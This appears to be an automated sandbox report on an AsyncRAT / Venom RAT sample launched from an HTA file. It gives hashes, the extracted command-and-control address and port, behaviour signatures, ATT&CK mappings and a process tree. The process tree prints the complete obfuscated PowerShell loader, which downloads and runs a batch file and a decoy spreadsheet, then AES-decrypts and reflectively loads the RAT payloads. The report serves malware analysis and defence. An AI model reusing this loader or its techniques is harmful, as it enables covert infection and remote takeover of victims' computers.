asyncrat | 2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640

Analysis

max time kernel
100s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 14:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3.hta
Size 12KB
Sample240508-sb53fsaa5x
SHA256 2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640
MD5 4ab94c892e634430c8eabae82af4d875
SHA1 f145d298d9350ac8239da286a6f00dc5c3f31e8f
SHA512 c425b5901873a9be27ebf639e86b9e310b42304d09a4032b8faae16d6af0a73e3e3df4da26baf6bc7246b1bef84243dc54de8dbbc4d0f8a35f94605c55f01c4e
SSDEEP 384:lop4KdAK/GEDKKb8AKKbFq2KKbZ6cjKL7ZwW7+6OJnkpwcRRZsKwtrlio0KwJ2r:lUJ/GeKKb5KKb3KKbZ6aKi6KnkphsKLs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.222.96.124:5050

Mutex

agwxieactmnvbumvumk

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4476-83-0x00000000077E0000-0x00000000077F8000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
1	3040	powershell.exe
2	3040	powershell.exe
11	4476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe
2272	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1952	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3040	powershell.exe
3040	powershell.exe
4476	powershell.exe
4476	powershell.exe
2272	powershell.exe
2272	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1952	EXCEL.EXE
1952	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
1952	EXCEL.EXE
4476	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 3040	2884	mshta.exe	78
PID 2884 wrote to memory of 3040	2884	mshta.exe	78
PID 2884 wrote to memory of 3040	2884	mshta.exe	78
PID 3040 wrote to memory of 1952	3040	powershell.exe	80
PID 3040 wrote to memory of 1952	3040	powershell.exe	80
PID 3040 wrote to memory of 1952	3040	powershell.exe	80
PID 3040 wrote to memory of 2636	3040	powershell.exe	81
PID 3040 wrote to memory of 2636	3040	powershell.exe	81
PID 3040 wrote to memory of 2636	3040	powershell.exe	81
PID 2636 wrote to memory of 1924	2636	cmd.exe	84
PID 2636 wrote to memory of 1924	2636	cmd.exe	84
PID 2636 wrote to memory of 1924	2636	cmd.exe	84
PID 1924 wrote to memory of 3056	1924	cmd.exe	87
PID 1924 wrote to memory of 3056	1924	cmd.exe	87
PID 1924 wrote to memory of 3056	1924	cmd.exe	87
PID 1924 wrote to memory of 4476	1924	cmd.exe	88
PID 1924 wrote to memory of 4476	1924	cmd.exe	88
PID 1924 wrote to memory of 4476	1924	cmd.exe	88
PID 4476 wrote to memory of 2272	4476	powershell.exe	91
PID 4476 wrote to memory of 2272	4476	powershell.exe	91
PID 4476 wrote to memory of 2272	4476	powershell.exe	91

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function APgmbjLOXLyDCo($JbCqR, $haYSvpsUITIjCDP){[IO.File]::WriteAllBytes($JbCqR, $haYSvpsUITIjCDP)};function EAdhMqKTsBgn($JbCqR){if($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64754,64762,64762))) -eq $True){rundll32.exe $JbCqR }elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64766,64769,64703))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $JbCqR}elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64763,64769,64759))) -eq $True){misexec /qn /i $JbCqR}else{Start-Process $JbCqR}};function wjPCvObwAmjJyUdaXG($gQOBxNAyeHpqX){$dDskdaHYdZknHXzXJymo = New-Object (uGIVecNMsbxk @(64732,64755,64770,64700,64741,64755,64752,64721,64762,64759,64755,64764,64770));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$haYSvpsUITIjCDP = $dDskdaHYdZknHXzXJymo.DownloadData($gQOBxNAyeHpqX);return $haYSvpsUITIjCDP};function uGIVecNMsbxk($lugVvlCCwkT){$GJPGF=64654;$FkAAPhCqeNqpA=$Null;foreach($bUICCliWWpr in $lugVvlCCwkT){$FkAAPhCqeNqpA+=[char]($bUICCliWWpr-$GJPGF)};return $FkAAPhCqeNqpA};function XEctGdesQtRZym(){$YDrprhvMBVQKEHdY = $env:AppData + '\';$aLjfwbQTGPkIcn = $YDrprhvMBVQKEHdY + '33.xlsx';If(Test-Path -Path $aLjfwbQTGPkIcn){Invoke-Item $aLjfwbQTGPkIcn;}Else{ $xnvLVBnevhBEnLRIzgp = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64705,64705,64700,64774,64762,64769,64774));APgmbjLOXLyDCo $aLjfwbQTGPkIcn $xnvLVBnevhBEnLRIzgp;Invoke-Item $aLjfwbQTGPkIcn;};$bZgJKEnoQHIlgQ = $YDrprhvMBVQKEHdY + 'xD.bat'; if (Test-Path -Path $bZgJKEnoQHIlgQ){EAdhMqKTsBgn $bZgJKEnoQHIlgQ;}Else{ $shhld = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64774,64722,64700,64752,64751,64770));APgmbjLOXLyDCo $bZgJKEnoQHIlgQ $shhld;EAdhMqKTsBgn $bZgJKEnoQHIlgQ;};;;;}XEctGdesQtRZym;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\33.xlsx"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xD.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xD.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1924
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "
        5⤵
        
        PID:3056
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4476
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_51azkbyx.dsj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51azkbyx.dsj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

33.xlsx

Path C:\Users\Admin\AppData\Roaming\33.xlsx
Size 32KB
SHA256 2272c6b170d229bf9705f65f7cce010a27a6c55f05d24ffe4a860e4fa69b9a49
MD5 9f52ebd4e53095cb7d4e73c85af5597f
SHA1 0dc8d51c8a27cb55e0d873da58d5aa115c58bdc8
SHA512 a878f73cb7b6ec022663bff6166c1c7048ee3e8883b966f4acd4544fe6d2691cc98bff3a6a3adb5dfd6ca5dd882c48eaa6eef46184457eb28af8441ef27634bf
SSDEEP 768:wQXrkpw2D7KXLhSkIj5bmcjXrLdS9ngre4k1FELS:TQW2D7ABIjFmcLNS9ngS4kl
MD5 SHA1 SHA512 SSDEEP

Submit Download

index.dat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
Size 213B
SHA256 4022d6b73fc6109c1b6f3cf5659b645d9966255b2f9df7c5c7967151f08a5889
MD5 b2e4cec1e059b2f3a26b4c3ff5d75e84
SHA1 29dea0ada787144feae6ad9b5fba0f60c0d8c84b
SHA512 26e24e8dd90ccf7262dcaa7475bd8ec573cfffc63076d01c1cefa7435095e11410e05a7a98c2c04b3125dd1825413641c02afc60b2dc3bab36c79242e2549aa8
MD5 SHA1 SHA512

Submit Download

b8ab77100df80ab2.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Size 24B
SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
MD5 4fcb2a3ee025e4a10d21e1b154873fe2
SHA1 57658e2fa594b7d0b99d02e041d0f3418e58856b
SHA512 4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
MD5 SHA1 SHA512

Submit Download

b8ab77100df80ab2.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Size 848B
SHA256 b02efb398f5751ef41bb5d1a97d9414ea1becde1e61642abb411cc1c40e1e108
MD5 68d6c75a1f952813ede441c3ef71b0b5
SHA1 f3fe3421e09ba7d2fc773367d7cc3a30c9552373
SHA512 093ad0a22af4be658e6905d7b53aab6e6b99ac43db0fab4f7d05a580d24251d17892c77f35484b2f4c7514245800673b3b609d77750448815101bd4c046bd95f
MD5 SHA1 SHA512

Submit Download

xD.bat

Path C:\Users\Admin\AppData\Roaming\xD.bat
Size 65KB
SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
MD5 2e34e0ab9244719305821c38fe213c37
SHA1 9cb80851613191b21ebc40ad985b47fa68d8774c
SHA512 2cc369e826d4ff65d1ffd6fb1e7ce830315fd21dc1fb54d6ec8b06c58a5f86870f0a57f0a847ca4525105784812a0fa4bfcc5e389291d7e84d18c2257675ead0
SSDEEP 1536:dJJD1eHAwt3VtHZh/YIkdmwahCqtPlnHROQbXC1B2qv:i3VtHZhgIWmwahCqVx0QbXk2qv
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1952-116-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-28-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-117-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-119-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-118-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-39-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

Download

memory/1952-36-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

Download

memory/1952-32-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-31-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-30-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/1952-29-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Download

memory/3040-19-0x0000000006040000-0x000000000608C000-memory.dmp

Download

memory/3040-17-0x0000000005A20000-0x0000000005D74000-memory.dmp

Download

memory/3040-23-0x0000000007810000-0x0000000007DB4000-memory.dmp

Download

memory/3040-22-0x00000000065A0000-0x00000000065C2000-memory.dmp

Download

memory/3040-21-0x0000000006530000-0x000000000654A000-memory.dmp

Download

memory/3040-20-0x00000000071C0000-0x0000000007256000-memory.dmp

Download

memory/3040-38-0x00000000722B0000-0x0000000072A60000-memory.dmp

Download

memory/3040-0-0x00000000722BE000-0x00000000722BF000-memory.dmp

Download

memory/3040-18-0x0000000006000000-0x000000000601E000-memory.dmp

Download

memory/3040-5-0x0000000005940000-0x00000000059A6000-memory.dmp

Download

memory/3040-1-0x0000000004A30000-0x0000000004A66000-memory.dmp

Download

memory/3040-3-0x00000000051A0000-0x00000000057C8000-memory.dmp

Download

memory/3040-2-0x00000000722B0000-0x0000000072A60000-memory.dmp

Download

memory/3040-24-0x0000000008440000-0x0000000008ABA000-memory.dmp

Download

memory/3040-7-0x00000000722B0000-0x0000000072A60000-memory.dmp

Download

memory/3040-4-0x0000000005040000-0x0000000005062000-memory.dmp

Download

memory/3040-6-0x00000000059B0000-0x0000000005A16000-memory.dmp

Download

memory/4476-56-0x0000000007430000-0x00000000074A6000-memory.dmp

Download

memory/4476-85-0x00000000081B0000-0x0000000008242000-memory.dmp

Download

memory/4476-86-0x0000000008290000-0x000000000829A000-memory.dmp

Download

memory/4476-87-0x0000000008410000-0x00000000084AC000-memory.dmp

Download

memory/4476-83-0x00000000077E0000-0x00000000077F8000-memory.dmp

Download

memory/4476-82-0x0000000004F30000-0x0000000004F40000-memory.dmp

Download

memory/4476-80-0x0000000004F20000-0x0000000004F2A000-memory.dmp

Download

memory/4476-53-0x0000000006510000-0x0000000006554000-memory.dmp

Download

memory/4476-52-0x0000000006150000-0x000000000619C000-memory.dmp

Download

memory/4476-42-0x0000000005B40000-0x0000000005E94000-memory.dmp

Download